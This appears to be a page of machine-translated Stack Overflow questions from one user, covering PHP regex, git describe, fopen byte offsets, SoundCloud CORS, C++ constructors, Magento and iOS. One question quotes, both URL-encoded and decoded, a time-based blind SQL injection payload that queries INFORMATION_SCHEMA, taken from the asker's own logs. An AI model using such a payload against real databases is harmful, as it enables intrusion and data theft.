有什么想法为什么这个 preg_match 可以在 PHP7.2 上运行但在 7.3+ 上失败?
$word = 'umweltfreundilch'; //real life example :/
preg_match('/^(?U)(.*(?:[aeiouyäöü])(?:[^aeiouyäöü]))(?X)(.*)$/u', $word, $matches);
var_dump($matches);
Run Code Online (Sandbox Code Playgroud)
警告:preg_match():编译失败:(? 或 (?-
PHP 7.2 及以下输出:
array(3) {
[0]=>
string(16) "umweltfreundilch"
[1]=>
string(2) "um"
[2]=>
string(14) "weltfreundilch"
}
Run Code Online (Sandbox Code Playgroud)
正则表达式似乎没问题,不是吗?
https://regex101.com/r/LGdhaM/1
我试图将一个元素放置在网页顶部的最右侧。我最初使用的是position:absolute。但是,在分辨率较低的计算机上测试网站后,它正确滚动整个页面,但该元素位于浏览器的右侧 - 而不是实际页面 - 所以当我向右滚动时,该元素也会滚动,所以它并不直接位于页面末尾。无论如何,javascript 是否可以解决这个问题,以找到网页的宽度并将元素定位在最右侧?谢谢
git describe是否有语法显示仅最新标签和其他提交?
让你得到
4.0.74.0.7
4.0.7-12自提交标记以来已进行12次提交4.0.7
git describe --tags与之非常接近,4.0.7-12-g09181但我还没有找到摆脱附加的哈希的方法。
git describe --tags --abbrev=2
Run Code Online (Sandbox Code Playgroud)
仍然显示 4.0.7-12-g0918
git describe --tags --abbrev=0
Run Code Online (Sandbox Code Playgroud)
4.0.7仅显示。
我需要来自二进制文件中范围内特定字节的一些数据.
(连接的jpegs,不要问...)
所以我有一个offset和length数据从外部API.
(我猜这些是字节位置)
有效的是:
$fileData = file_get_contents($binaryFile);
$imageData = substr($fileData, $offset, $length);
Run Code Online (Sandbox Code Playgroud)
但我宁愿不将整个文件加载到内存中,因此尝试fopen:
$handle = fopen($binaryFile, 'rb');
fseek($handle, $offset);
$imageData = fgets($handle, $length);
Run Code Online (Sandbox Code Playgroud)
但这不起作用.数据块不是有效的图像数据.
所以我认为我的位置错了fopen.
关于职位如何在substrvs中有所不同的任何想法fopen?
既然你可以通过XHR调用Soundcloud API(因为它发送的是CORS标题http://backstage.soundcloud.com/2010/08/of-cors-we-do/,对吗?)我想知道这是不是可以使用音频数据本身,例如轨道的stream_url.
当尝试使用Web Audio API使用XHR(来自客户端)打开stream_url时,我得到Access-Control-Allow-Origin不允许使用Origin.错误.有没有办法从Client-Side-Javascript通过XHttpRequest加载音频资源,或者是不可能的(/sf/ask/761031771/) ?
会很棒,因为这将允许一些非常酷的Web Audio API.
谢谢!
UPDATE
问题可能与调用时获得的302重定向有关:
http://api.soundcloud.com/tracks/5646378/stream.json?client_id=[client_id]
Run Code Online (Sandbox Code Playgroud)
或其他一些请求实际媒体文件的电话(见评论).
HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Sun, 24 Jun 2012 09:58:01 GMT
Content-Type: application/json; charset=utf-8
Connection: keep-alive
Cache-Control: no-cache
Location: http://ec-media.soundcloud.com/[...]
X-Runtime: 41
Content-Length: 339
Access-Control-Allow-Methods: GET, PUT, POST, DELETE
Access-Control-Allow-Headers: Accept, Authorization, Content-Type, Origin
Access-Control-Allow-Origin: *
X-Cacheable: NO:Cache-Control=no-cache
X-Varnish: 2433107209
Age: 0
Via: 1.1 varnish
X-Cache: MISS
HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=252460800
Content-Type: audio/mpeg
Date: Sun, …Run Code Online (Sandbox Code Playgroud) 有没有办法强制派生类使用抽象基类的构造函数?它绝不是真正的构造者,我对创造性解决方案持开放态度.
class Abstract
{
private:
int Member;
string Text;
public:
Abstract(int Member, string Text)
{
this->Member = Member;
this->Text = Text;
}
// e.g. defining virtual functions
}
Run Code Online (Sandbox Code Playgroud)
例如,我的抽象类有一些私有成员,每个派生类也应该有.它们应该在构造函数中定义,甚至违背派生类的意愿.
我知道构造函数不是继承的.但有没有一种解决方法可以产生类似的行为?
我目前正计划设计一个新系统,我需要编写与后端API交互的代码.我正在考虑对象组合和继承,并决定在我的情况下最正确的程序是使用组合而不是继承,因为我的对象彼此之间具有"有"关系而不是"是".
我现在发现,虽然因为某些对象依赖于其他对象,所以可能存在"对象A"具有属性"对象B"和属性"对象C"的情况 - 然而"对象B"也具有属性"对象" C".
希望这个类比更有意义:
假设我有一家公司销售包含猫和放射性物质的盒子,这些盒子可能会或可能永远不会反应:
我把我的产品卖给了组织.用户通过指定他们所属的组织向我注册.组织可能有许多用户或没有用户.用户必须拥有其所属的组织.我跟踪我的产品(作为一个实体的盒子,作为一个实体的猫)以及它们属于哪个组织.我还跟踪猫和他们所在的箱子.一个组织可能有许多箱子,其中任何一个都有许多猫.盒子可能是空的.一些用户可以购买新的盒子,而其他用户只能看到它们.
身份验证和授权都由我与之交互的API管理.
对象关系:
$user has a => $organization that it belongs to
$user has a => $role that dictates what it may or may not do.
$box has a => $organization that it belongs to
Run Code Online (Sandbox Code Playgroud)
现在:
$cat has a => $box that it belongs to
Run Code Online (Sandbox Code Playgroud)
和
$cat has a => $organization that it belongs to ?
Run Code Online (Sandbox Code Playgroud)
要么
$cat has a => $box that it belongs to WHICH has a => $organization that it …Run Code Online (Sandbox Code Playgroud) 我们最近在一些我们喜爱的遗留代码库上进行了 SQL 注入尝试(老实说相当成功)。
/someFile.php?b=4430%20AND%20%28SELECT%209391%20FROM%20%28SELECT%28SLEEP%2832-%28IF%28ORD%28MID%28%28SELECT%20HEX%28IFNULL%28CAST%28COUNT%28DISTINCT%28table_schema% 29%29%20AS%20NCHAR%29%2C0x20%29%29%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20column_name%20LIKE%200x257761636874776f6f726425%20AND%20table_schema%20%21%3D%200x6 96e666f726d6174696f6e5f736368656d61%20AND%20table_schema%20%21% 3D%200x6d7973716c%20AND%20table_schema%20%21%3D%200x706572666f726d616e63655f736368656d61%20AND%20table_schema%20%21%3D%200x737973%29%2C1%2C1%29 %29%3E1%2C0%2C32%29%29%29% 29%29iOms%29
全部修复、阻止和报告,但我仍然很好奇 -
该查询应该做什么?只是阻止资源(如在 DOS 中)或收集信息?
SELECT 9391
FROM (SELECT(SLEEP(32-(IF(ORD(MID(
(SELECT HEX(IFNULL(CAST(COUNT(DISTINCT(table_schema)) AS NCHAR),0x20))
FROM INFORMATION_SCHEMA.COLUMNS
WHERE COLUMN_NAME LIKE 0x257761636874776f6f726425
AND table_schema != 0x696e666f726d6174696f6e5f736368656d61
AND table_schema != 0x6d7973716c
AND table_schema != 0x706572666f726d616e63655f736368656d61
AND table_schema != 0x737973),1, 1))>1, 0, 32)))))iOms
Run Code Online (Sandbox Code Playgroud)
我不明白它的十六进制部分......
从Magento 1.6更新到1.7后,我无法再在生产服务器上编辑类别.
似乎是ajax POST URL被破坏了:
虽然ajax调用在本地机器上正常工作,如:
http://local.my-domain.de/index.php/admin/catalog_category/edit/key/fcc2335e931e8ec4236be7da67156087/id/7/?isAjax=true
Run Code Online (Sandbox Code Playgroud)
他们搞砸了
http://my-domain.de/index.php/admin/catalog_category/edit/key/1ac1f1e5f75e665a2fd06eca4569d662/?admin%2Fcatalog_category%2Findex%2Fkey%2F1ed297c236a0c9df5530952aaf7e0618%2F=id/7/&isAjax=true
Run Code Online (Sandbox Code Playgroud)
在生产服务器上,导致用于编辑类别的ajax调用停止工作.
在iOS 5及以下的jQuery iButton插件中运行良好仍可在iOS 6中运行,但会导致页面上的多个其他元素无法再点击.(发生在Chrome以及iPad上的safari中)
触摸这些元素时,它们不会聚焦,而是它们的父元素.
这似乎与使用的jQuery版本无关.
有谁知道可能的解决方案吗?
或者有人建议使用iOS风格的开/关按钮替代库.(还应支持触摸/滑动等)
因为我们正在开发一些封闭的后端应用程序,遗憾的是发布代码示例是不可能的.
php ×2
c++ ×1
catalyst ×1
checkbox ×1
class ×1
command-line ×1
composition ×1
constructor ×1
cors ×1
css ×1
file ×1
fopen ×1
fseek ×1
git ×1
git-describe ×1
html5-audio ×1
inheritance ×1
ios ×1
ios6 ×1
jquery ×1
magento ×1
magento-1.7 ×1
media ×1
moose ×1
oop ×1
perl ×1
position ×1
preg-match ×1
regex ×1
soundcloud ×1
streaming ×1